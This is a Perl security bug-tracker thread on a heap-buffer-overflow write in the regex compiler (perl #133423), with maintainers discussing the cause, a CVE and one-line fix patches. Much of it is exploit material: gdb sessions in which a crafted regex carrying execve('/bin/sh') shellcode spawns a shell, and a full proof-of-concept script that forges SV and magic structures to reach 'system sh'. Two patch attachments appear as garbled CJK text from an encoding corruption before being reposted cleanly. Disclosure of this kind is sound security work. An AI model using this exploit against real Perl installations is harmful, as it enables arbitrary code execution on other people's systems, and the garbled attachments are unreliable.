\"\\x7d\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3c\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x48\\x8d\\x42\\x3b\\x0f\\x05\]\)a\\\\6\"\;\
qr/\$r/
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:2)  Looking for DESTROY method for IO​::File
(-e​:2)  Looking for method DESTROY in package IO​::File
(-e​:2)  Looking for method DESTROY in package UNIVERSAL
(-e​:2)  Looking for method AUTOLOAD in package IO​::File
(-e​:2)  Looking for method AUTOLOAD in package UNIVERSAL
(-e​:2)  Set cached DESTROY method 0 for IO​::File
Enabling $` $&amp; $' support (0x7).

EXECUTING...

Compiling REx
"(?[(?x​:(?[\a]))\]a%0%x{95}L%x{a3}%0%0%0%0%0%1%0%0%0%7%0%20%0"...
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?x​:(?[\a]))\]a?L??L???L?

 ?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?x​:(?[ <-- HERE \a]))\]a?L??L???L?

 ?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.

Breakpoint 1, S_regatom (pRExC_state=pRExC_state@​entry=0x7fffffffcd40,
flagp=flagp@​entry=0x7fffffffca24,
    depth=depth@​entry=4) at regcomp.c​:14044
14044                               *(s)++ = (U8) ender;
Missing separate debuginfos, use​: dnf debuginfo-install
keyutils-libs-1.5.10-6.fc28.x86_64 krb5-libs-1.16.1-13.fc28.x86_64
libcom_err-1.44.2-0.fc28.x86_64
libnsl2-1.2.0-2.20180605git4a062cf.fc28.x86_64
libselinux-2.8-1.fc28.x86_64 libtirpc-1.0.3-3.rc2.fc28.x86_64
libxcrypt-4.1.1-4.fc28.x86_64 openssl-libs-1.1.0h-3.fc28.x86_64
pcre2-10.31-8.fc28.x86_64 zlib-1.2.11-8.fc28.x86_64
(gdb) p s
$1 = 0xa34c7d ""
(gdb) b S_mg_free_struct
Breakpoint 2 at 0x4f0620​: file mg.c, line 556.
(gdb) dis br 1
(gdb) c
Continuing.
panic​: reg_node overrun trying to emit 0, a34d5c>=a34c8c at -e line 1.
Cleaning named glob SV object​:
 SV = PVMG(0xa34c95) at 0xa34c7d
  REFCNT = 1
  FLAGS = (OBJECT)
  IV = 0
  NV = 5.28751820946919e-317
  PV = 0
  MAGIC = 0xa34ce8
    MG_VIRTUAL = 0xa34d14
    MG_TYPE = PERL_MAGIC_sv(\0)
  STASH = 0xa34ca5

Breakpoint 2, S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at
mg.c​:556
556         const MGVTBL* const vtbl = mg->mg_virtual;
(gdb) bt
#0  S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at mg.c​:556
#1  0x00000000004f1153 in Perl_mg_free (sv=sv@​entry=0xa34ca5) at mg.c​:588
#2  0x0000000000527d9e in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34ca5)
at sv.c​:6539
#3  0x0000000000528784 in Perl_sv_free2 (sv=0xa34ca5, rc=<optimized
out>) at sv.c​:7038
#4  0x00000000005273ec in S_SvREFCNT_dec (sv=<optimized out>) at
inline.h​:216
#5  S_curse (sv=sv@​entry=0xa34c7d, check_refcnt=check_refcnt@​entry=true)
at sv.c​:6970
#6  0x000000000052783a in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34c7d)
at sv.c​:6531
#7  0x0000000000528784 in Perl_sv_free2 (sv=sv@​entry=0xa34c7d,
rc=<optimized out>) at sv.c​:7038
#8  0x0000000000528c48 in S_SvREFCNT_dec_NN (sv=0xa34c7d) at inline.h​:227
#9  do_clean_named_objs (sv=sv@​entry=0xa2e958) at sv.c​:560
#10 0x0000000000524a07 in S_visit (f=0x5288b0 <do_clean_named_objs>,
flags=32777, mask=49407) at sv.c​:476
#11 0x00000000005292b0 in Perl_sv_clean_objs () at sv.c​:631
#12 0x000000000044ef00 in perl_destruct (my_perl=<optimized out>) at
perl.c​:908
#13 0x000000000041fb74 in main (argc=<optimized out>, argv=<optimized
out>, env=<optimized out>) at perlmain.c​:133
(gdb) c
Continuing.
process 13359 is executing new program​: /usr/bin/bash
Error in re-setting breakpoint 2​: Function "S_mg_free_struct" not defined.
sh-4.4$ date
Detaching after fork from child process 13509.
Mon Aug 27 22​:04​:46 JST 2018
```

2018-08-16 12​:52 GMT+09​:00 Karl Williamson via RT
<perl5-security-report-followup@​perl.org
<mailto​:perl5-security-report-followup@​perl.org>>​:

Resending this as it did not make it to the list​:

On Wed\, 15 Aug 2018 11​:01​:24 \-0700\, khw wrote​:
 > I suspect this is a serious security issue\.  One can position where
 > beyond the end of buffer gets written by adding \\x80's to the ones
 > already there\.  But I'd be happy to be wrong about this\.
 >
 > The cause is one branch during the parsing leaves the parse pointer
 > positioned one too far\, and that causes the backslash to be skipped
 > during pass2\, which causes a '\]' to be treated as a metacharacter
 > instead of a literal\.
 >
 > The fix is to remove the single line that incorrectly increments the
 > parse pointer\.
 > I don't know that this being an experimental feature has any bearing
 > on it\.
 >
 > There is another thing\.  The minus sign in this case could have been
 > caught as incorrect\.  But the same out\-of\-bounds writes would
occur if
 > a '^' replaced the minus\, and that would be a correct use\.
 >
 > Karl Williamson

[p5pRT]

From @tonycoz

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Could you please make patches against blead/maint-5.28/maint-5.26 for this?

Thanks,
Tony

[p5pRT]

From @tonycoz

On Wed, 29 Aug 2018 23​:52​:16 -0700, public@​khwilliamson.com wrote​:

On 08/27/2018 07​:16 AM, Eiichi Tsukata wrote​:

The following code generates a regexp which executes arbitrary
command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on
overwritten heap which has the malicious svt_free(shell_code) on its
magic vtable.

Limitations​:

  - must set `execstack -s` to perl
  - require address leak(exact address of overwritten heap)

Shouldn't this be getting a CVE?

I plan to request a CVE ID for this issue in the next couple of days.

If anyway has already requested an ID, please let me know.

Thanks,
Tony

[p5pRT]

From @Etsukata

Limitations​:

- must set `execstack -s` to perl

update​: this limitation can be reduced by calling Perl_eval_sv with crafted
sv_u.svu_pv('system sh') instead of calling the shellcode on heap.
But so far, it still needs address leak(overwrite address and
Perl_eval_sv() address).

- code

```
#!/usr/bin/perl

#
# RCE exploit PoC for
# [perl #133423] regcomp​: heap-buffer-overflow write
#

use strict;
use warnings;

# 0xabcd => '\xcd\xab\x00\x00\x00\x00\x00\x00'
sub h2s {
  my $h = shift;
  my $sz = shift;
  my $ret = '';
  for (0..($sz - 1)) {
  $ret .= sprintf("\\x%02x", (($h >> (8 * $_)) & 0xff));
  }
  return $ret
}

my $cmd = 'gdb -x gdbcmd -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -e ';
my $prefix = '\'my $r = "(?[(?x​:(?[\\\\a]))\\\\]X';

my $addr = 0xbacbfc; # overwrite start addr
  # search with​:
  # (gdb) b regcomp.c​:13904
  # (gdb) p s
  # [CAUTION] must not contain ']' (0x5d)
  #
my $addr_sv_any = $addr + 8 + 4 + 4 + 8;
my $addr_stash = $addr_sv_any + 8 + 8 + 8;
my $addr_stash_any = $addr_stash + 8 + 4 + 4;
my $addr_magic = $addr_stash + 8 + 4 + 4 + 8 + 8 + 20 + 8;
my $addr_mg_virtual = $addr_magic + 8 + 8 + 2 + 1 + 1 + 8 + 8 + 8;

# $ nm /path/to/perl | grep Perl_eval_sv
my $addr_eval_sv = 0x46a576;
my $addr_system_sh = $addr_stash_any + 8 + 8;

my $body = ''

# sv($addr) obj
. h2s($addr_sv_any, 8)
. h2s(0x01, 4) # sv_refcnt

# sv_flags
# - SVt_PVMG || SVs_OBJECT : to call SvREFCNT_dec_NN at
do_clean_named_objs()
# - SVf_POK || SVp_POK : to use as SVPV in eval_sv
. h2s(0x104407, 4)

# sv_u.svu_pv : ptr to "system sh"
. h2s($addr_system_sh, 8)

# any($addr_sv_any)
. h2s($addr_stash, 8) # HV* xmg_stash
. h2s($addr_magic, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)
. h2s(length("system sh"), 8) # STRLEN xpv_cur

## xmg_stash($addr_stash)
. h2s($addr_stash_any, 8) # sv_any
. h2s(0x02, 4) # sv_refcnt (not 0x01​: SVt_PVHV can not
bypass assertion in eval_sv)
. h2s(0x0c, 4) # sv_flags (SVt_PVHV)
## any($addr_stash_any)
. h2s(0x00, 8) # HV* xmg_stash
. h2s($addr_magic, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)

# $addr_system_sh
. "system sh\\x00"

. "A" x 10 # padding
. h2s($addr, 8) # OVERWRITE gvp (addr + 100)

# xmg_magic($addr_magic)
. h2s(0x00, 8) # MAGIC* mg_moremagic;
#
. h2s($addr_mg_virtual, 8) # MGVTBL* mg_virtual /* pointer to magic
functions */
#
. h2s(0x00, 2) # U16 mg_private;
. h2s(0x00, 1) # char mg_type;
. h2s(0x00, 1) # U8 mg_flags;
. h2s(0x00, 8) # SSize_t mg_len;
. h2s(0x00, 8) # SV* mg_obj;
. h2s(0x00, 8) # char* mg_ptr;
#
## mg_virual($addr_mg_virtual)
. h2s(0x00, 8) # int (*svt_get) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_set) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # U32 (*svt_len) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_clear)(pTHX_ SV *sv, MAGIC* mg);
. h2s($addr_eval_sv, 8) # int (*svt_free) (pTHX_ SV *sv, MAGIC*
mg);
. '])'
. "B" x 20 # control gvp allocation
. '"; qr/$r/\'';

my $payload = $prefix . $body;

print $cmd . $payload . "\n";
```

- output

```
[eiichi@​x1 exploit]$ cat gdbcmd
b regcomp.c​:13904
run
l
p s
dis br 1
c

[eiichi@​x1 exploit]$ gdb -x gdbcmd -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -e 'my $r =
"(?[(?x​:(?[\\a]))\\]X\x14\xcc\xba\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x44\x10\x00\x4c\xcc\xba\x00\x00\x00\x00\x00\x2c\xcc\xba\x00\x00\x00\x00\x00\x68\xcc\xba\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x3c\xcc\xba\x00\x00\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\xcc\xba\x00\x00\x00\x00\x00system
sh\x00AAAAAAAAAA\xfc\xcb\xba\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\xcc\xba\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x76\xa5\x46\x00\x00\x00\x00\x00])BBBBBBBBBBBBBBBBBBBB";
qr/$r/'
Reading symbols from
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl...done.
Breakpoint 1 at 0x5395ed​: file regcomp.c, line 13904.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?x​:(?[\a]))\]X̺DL̺,̺h̺ <̺

  h̺system
shAAAAAAAAAA?˺?̺v?F])BBBBBBBBBBBBBBBBBBBB/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?x​:(?[ <-- HERE \a]))\]X̺DL̺,̺h̺ <̺

  h̺system
shAAAAAAAAAA?˺?̺v?F])BBBBBBBBBBBBBBBBBBBB/ at -e line 1.

Breakpoint 1, S_regatom (pRExC_state=0x7fffffffcc80, flagp=0x7fffffffc220,
depth=4) at regcomp.c​:13904
13904 *(s++) = (char) ender;
13899 U8 * new_s = uvchr_to_utf8((U8*)s,
ender);
13900 added_len = (char *) new_s - s;
13901 s = (char *) new_s;
13902 }
13903 else {
13904 *(s++) = (char) ender;
13905 }
13906 }
13907 }
13908 else if (LOC &&
is_PROBLEMATIC_LOCALE_FOLD_cp(ender)) {
$1 = 0xbacbfc ""
panic​: reg_node overrun trying to emit 0, baccc0>=bacc14 at -e line 1.
Detaching after fork from child process 12813.
sh-4.4$ date
2018年 9月 24日 月曜日 19​:11​:34 JST
```

2018年9月24日(月) 15​:41 Tony Cook via RT <
perl5-security-report-followup@​perl.org>​:

On Wed, 29 Aug 2018 23​:52​:16 -0700, public@​khwilliamson.com wrote​:

On 08/27/2018 07​:16 AM, Eiichi Tsukata wrote​:

The following code generates a regexp which executes arbitrary
command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on
overwritten heap which has the malicious svt_free(shell_code) on its
magic vtable.

Limitations​:

- must set `execstack -s` to perl
- require address leak(exact address of overwritten heap)

Shouldn't this be getting a CVE?

I plan to request a CVE ID for this issue in the next couple of days.

If anyway has already requested an ID, please let me know.

Thanks,
Tony

[p5pRT]

From @khwilliamson

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Could you please make patches against blead/maint-5.28/maint-5.26 for this?

Thanks,
Tony

Attached

[p5pRT]

From @khwilliamson

0242-PATCH-perl-133423-for-5.26-maint.patch

䙲潭⁤昲㠵㡥愲㡥戲挷攰ち㑢搶愵敤㤵攴㜸㉦㠸㌳㌠䵯渠卥瀠ㄷ‰〺〰㨰〠㈰〱੆牯洺⁋慲氠坩汬楡浳潮‼歨着捰慮⹯牧㸊䑡瑥㨠䵯測′㐠卥瀠㈰ㄸ‱ㄺ㔴㨴ㄠⴰ㘰《卵扪散琺⁛偁呃䠠㈴㈯㈴㉝⁐䅔䍈㨠孰敲氠⌱㌳㐲㍝⁦潲‵⸲㘠浡楮琊ਭⴭਠ牥杣潭瀮挠†††簠ㄠⴊ⁴⽲支牥束浥獧⹴⁼‴‫⬫⬊′⁦楬敳⁣桡湧敤Ⱐ㐠楮獥牴楯湳⠫⤬‱⁤敬整楯渨⴩ਊ摩晦‭ⵧ楴⁡⽲敧捯浰⹣⁢⽲敧捯浰⹣੩湤數⁣愴㝤户㔷㌮⸴㌱〰㙥㠵㔠㄰〶㐴ਭⴭ⁡⽲敧捯浰⹣ਫ⬫⁢⽲敧捯浰⹣ੀ䀠ⴱ㔱〹ⰷ‫ㄵ㄰㤬㘠䁀⁲敤潟捵牣桡爺ਠ††††††††††剅硃彰慲獥⬫㬊††††††††††⁡獳敲琨啃䡁剁吨剅硃彰慲獥⤠㴽‧⤧⤻ਠਭ††††††††††剅硃彰慲獥⬫㬊††††††††††⁒䕸䍟晬慧猠㴠獡癥彦污杳㬊††††††††††⁧潴漠桡湤汥彯灥牡湤㬊††††††††⁽੤楦映ⴭ杩琠愯琯牥⽲敧彭敳朮琠戯琯牥⽲敧彭敳朮琊楮摥砠㌹捦捦㝤昱⸮搲㙡㝣慦㌷‱〰㘴㐊ⴭⴠ愯琯牥⽲敧彭敳朮琊⬫⬠戯琯牥⽲敧彭敳朮琊䁀‭㄰㘬㘠⬱〶ⰸ⁀䀠浹․桩杨彭楸敤彤楧楴‽
❁✠汴‧〧⤠㼠✰✠㨠❁✻ਠ浹․捯汯湟桥砠㴠獰物湴映∥〲堢Ⱐ潲搨∺∩㬊礠⑴慢彨數‽⁳灲楮瑦•┰㉘∬牤⠢屴∩㬊 ⭭礠③畧ㄳ㌴㈳‽•⠿嬨㽞㨨㽛屜屸〰崩⥜屝屸〰簲孞幝屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰崩刮屜㘷〢㬊⬊‣⌊‣⌠䭥礭癡汵攠灡楲猠潦⁣潤支敲牯爠潦⁣潤攠瑨慴⁳桯畬搠桡癥⁦慴慬⁥牲潲献ਠ⌣ੀ䀠ⴲ㤰ⰶ‫㈹㈬㠠䁀礠䁤敡瑨‽ਠ‧⼨㽸浳楸瀩慢振✠㴾•∬ਠ‧⼨㽸硸砺慢挩⼧‽㸠∢Ⰺ†✯⠿㰽⼧‽㸠❓敱略湣攠⠿⸮⸠湯琠瑥牭楮慴敤⁻⍽⼨㼼㵻⍽⼧Ⱐ†††††††††††‣⁛灥牬‣ㄲ㠱㜰崊⬠∯③畧ㄳ㌴㈳⼢‽㸠≏灥牡湤⁷楴栠湯⁰牥捥摩湧灥牡瑯爠笣素洯⠿嬨㽞㨨㽛屜]⤩屜笣絝|㉛幞嵜砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸そ⥒⹜尶㜰⼢Ⰺ⬊ 
㬊 ⴭ ㈮ㄷ⸱ਊ

[p5pRT]

From @khwilliamson

0003-PATCH-perl-133423-for-maint-5.28.patch

牆浯〠㠴㔹愸㕡㌴㤷づ〲㌹㘲昸㔸戱㔵㍢敤戳㜴昵⁥潍敓⁰㜱〠㨰〰〺‰〲㄰䘊潲㩭䬠牡楗汬慩獭湯㰠桫䁷灣湡漮杲ਾ慄整›潍Ɱ㈠‴敓⁰〲㠱ㄠ㨱㔵㔺‵〭〶ਰ畓橢捥㩴嬠䅐䍔⁈⼳崳倠呁䡃›灛牥ㄣ㌳㈴崳映牯洠楡瑮㔠㈮ਸⴊⴭ 敲捧浯⹰⁣†††⁼‱ਭ琠爯⽥敲彧敭杳琮簠㌠⬠⬫ ′楦敬⁳档湡敧Ɽ㌠椠獮牥楴湯⡳⤫‬‱敤敬楴湯⴨਩搊晩⁦ⴭ楧⁴⽡敲捧浯⹰⁣⽢敲捧浯⹰੣湩敤⁸㙦㐹晦昷戸⸮ㅥ慤㔱㝡挷ㄠ〰㐶਴ⴭ‭⽡敲捧浯⹰੣⬫‫⽢敲捧浯⹰੣䁀ⴠ㔱㤵ⰱ‷ㄫ㔵ㄹ㘬䀠⁀敲潤损牵档牡਺††††††††††椠⁦唨䡃剁呁刨硅彃慰獲⥥℠‽⤧⤧ ††††††††††††䙶䥁⡌䔢灸捥楴杮挠潬敳瀠牡湥映牯眠慲灰牥映牯渠獥整⁤硥整摮摥挠慨捲慬獳⤢਻ਠ‭†††††††††删硅彃慰獲⭥㬫 ††††††††††䕒䍸晟慬獧㴠猠癡彥汦条㭳 ††††††††††潧潴栠湡汤彥灯牥湡㭤 ††††††††੽楤晦ⴠ札瑩愠琯爯⽥敲彧敭杳琮戠琯爯⽥敲彧敭杳琮椊摮硥㔠扦昱愱㘴⹣㈮㠸戰㑥攵⁢〱㘰㐴ⴊⴭ愠琯爯⽥敲彧敭杳琮⬊⬫戠琯爯⽥敲彧敭杳琮䀊⁀ㄭ㈲㘬⬠㈱ⰲ‸䁀洠⁹琤扡桟硥㴠猠牰湩晴∠〥堲Ⱒ漠摲∨瑜⤢਻⌠ ‣桔⁥楦獲⁴敳⁴牡⁥桴獯⁥桴瑡猠潨汵⁤敢映瑡污攠牲牯⹳ ⬊祭␠畢ㅧ㌳㈴″‽⠢嬿㼨㩞㼨屛屜へ崰⤩屜屝へ簰嬲幞屝㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸崰利尮㙜〷㬢⬊ 祭䀠敤瑡⁨਽⠠ ✠嬯㵛潦㵯嵝✯㴠‾倧协塉猠湹慴⁸㵛㴠⁝獩爠獥牥敶⁤潦⁲畦畴敲攠瑸湥楳湯⁳⍻⁽⽭孛昽潯崽⍻嵽✯ਬ䁀ⴠ〳ⰷ‶㌫㤰㜬䀠⁀祭䀠敤瑡⁨਽†⼧䅜⽻‧㸽✠湕獥慣数⁤敬瑦戠慲散椠敲敧⁸獩椠汬来污栠牥⁥⍻⁽⽭䅜筻紣✯ਬ†⼧㼨㴼✯㴠‾匧煥敵据⁥㼨⸮‮潮⁴整浲湩瑡摥笠紣洠⠯㰿笽紣✯‬†††††††††††⌠嬠数汲⌠㈱ㄸ〷੝†⼧灜登牥楴慣​慴絢✯㴠‾䌧湡❜⁴楦摮唠楮潣敤瀠潲数瑲⁹敤楦楮楴湯∠敶瑲捩污ଠ琠扡•⍻⁽⽭屜筰敶瑲捩污ଠ琠扡筽紣✯‬‣灛牥ㄣ㈳㔰崵⬊∠␯畢ㅧ㌳㈴⼳•㸽∠灏牥湡⁤楷桴渠牰捥摥湩⁧灯牥瑡牯笠紣洠⠯嬿㼨㩞㼨屛\⥝尩筜紣]㉼幛嵞硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸⥝⹒屜㜶⼰Ⱒ  㬩 ⴊ‭㈊ㄮ⸷਱

[p5pRT]

From @tonycoz

On Mon, 24 Sep 2018 11​:01​:56 -0700, public@​khwilliamson.com wrote​:

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

Could you please make patches against blead/maint-5.28/maint-5.26 for
this?

Attached

Thanks, though they seem to be corrupted in RT, trying again.

Tony

[p5pRT]

From @tonycoz

0003-PATCH-perl-133423-for-maint-5.28.patch

From 048958aa54379e02093268f851b55b3de3b475fe Mon Sep 17 00:00:00 2001
From: Karl Williamson <khw@cpan.org>
Date: Mon, 24 Sep 2018 11:55:55 -0600
Subject: [PATCH 3/3] PATCH: [perl #133423] for maint 5.28

---
 regcomp.c       | 1 -
 t/re/reg_mesg.t | 3 +++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/regcomp.c b/regcomp.c
index f694ff7f8b..e1da15a77c 100644
--- a/regcomp.c
+++ b/regcomp.c
@@ -15591,7 +15591,6 @@ redo_curchar:
                     if (UCHARAT(RExC_parse) != ')')
                         vFAIL("Expecting close paren for wrapper for nested extended charclass");
 
-                    RExC_parse++;
                     RExC_flags = save_flags;
                     goto handle_operand;
                 }
diff --git a/t/re/reg_mesg.t b/t/re/reg_mesg.t
index 5fb1f1a46c..2880be45eb 100644
--- a/t/re/reg_mesg.t
+++ b/t/re/reg_mesg.t
@@ -122,6 +122,8 @@ my $tab_hex = sprintf "%02X", ord("\t");
 #
 # The first set are those that should be fatal errors.
 
+my $bug133423 = "(?[(?^:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670";
+
 my @death =
 (
  '/[[=foo=]]/' => 'POSIX syntax [= =] is reserved for future extensions {#} m/[[=foo=]{#}]/',
@@ -307,6 +309,7 @@ my @death =
  '/\A{/' => 'Unescaped left brace in regex is illegal here {#} m/\A{{#}/',
  '/(?<=/' => 'Sequence (?... not terminated {#} m/(?<={#}/',                        # [perl #128170]
  '/\p{vertical � tab}/' => 'Can\'t find Unicode property definition "vertical � tab" {#} m/\\p{vertical � tab}{#}/', # [perl #132055]
+ "/$bug133423/" => "Operand with no preceding operator {#} m/(?[(?^:(?[\\�]))\\{#}]�|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670/",
 
 );
 
-- 
2.17.1

[p5pRT]

From @tonycoz

0242-PATCH-perl-133423-for-5.26-maint.patch

From df2858ea28eb2c7e00a4bd6a5ed95e4782f88333 Mon Sep 17 00:00:00 2001
From: Karl Williamson <khw@cpan.org>
Date: Mon, 24 Sep 2018 11:54:41 -0600
Subject: [PATCH 242/242] PATCH: [perl #133423] for 5.26 maint

---
 regcomp.c       | 1 -
 t/re/reg_mesg.t | 4 ++++
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/regcomp.c b/regcomp.c
index ca47db7573..431006e855 100644
--- a/regcomp.c
+++ b/regcomp.c
@@ -15109,7 +15109,6 @@ redo_curchar:
                     RExC_parse++;
                     assert(UCHARAT(RExC_parse) == ')');
 
-                    RExC_parse++;
                     RExC_flags = save_flags;
                     goto handle_operand;
                 }
diff --git a/t/re/reg_mesg.t b/t/re/reg_mesg.t
index 39cfcf7df1..d26a7caf37 100644
--- a/t/re/reg_mesg.t
+++ b/t/re/reg_mesg.t
@@ -106,6 +106,8 @@ my $high_mixed_digit = ('A' lt '0') ? '0' : 'A';
 my $colon_hex = sprintf "%02X", ord(":");
 my $tab_hex = sprintf "%02X", ord("\t");
 
+my $bug133423 = "(?[(?^:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670";
+
 ##
 ## Key-value pairs of code/error of code that should have fatal errors.
 ##
@@ -290,6 +292,8 @@ my @death =
  '/(?xmsixp)abc/' => "",
  '/(?xxxx:abc)/' => "",
  '/(?<=/' => 'Sequence (?... not terminated {#} m/(?<={#}/',                        # [perl #128170]
+ "/$bug133423/" => "Operand with no preceding operator {#} m/(?[(?^:(?[\\�]))\\{#}]�|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670/",
+
 
 );
 
-- 
2.17.1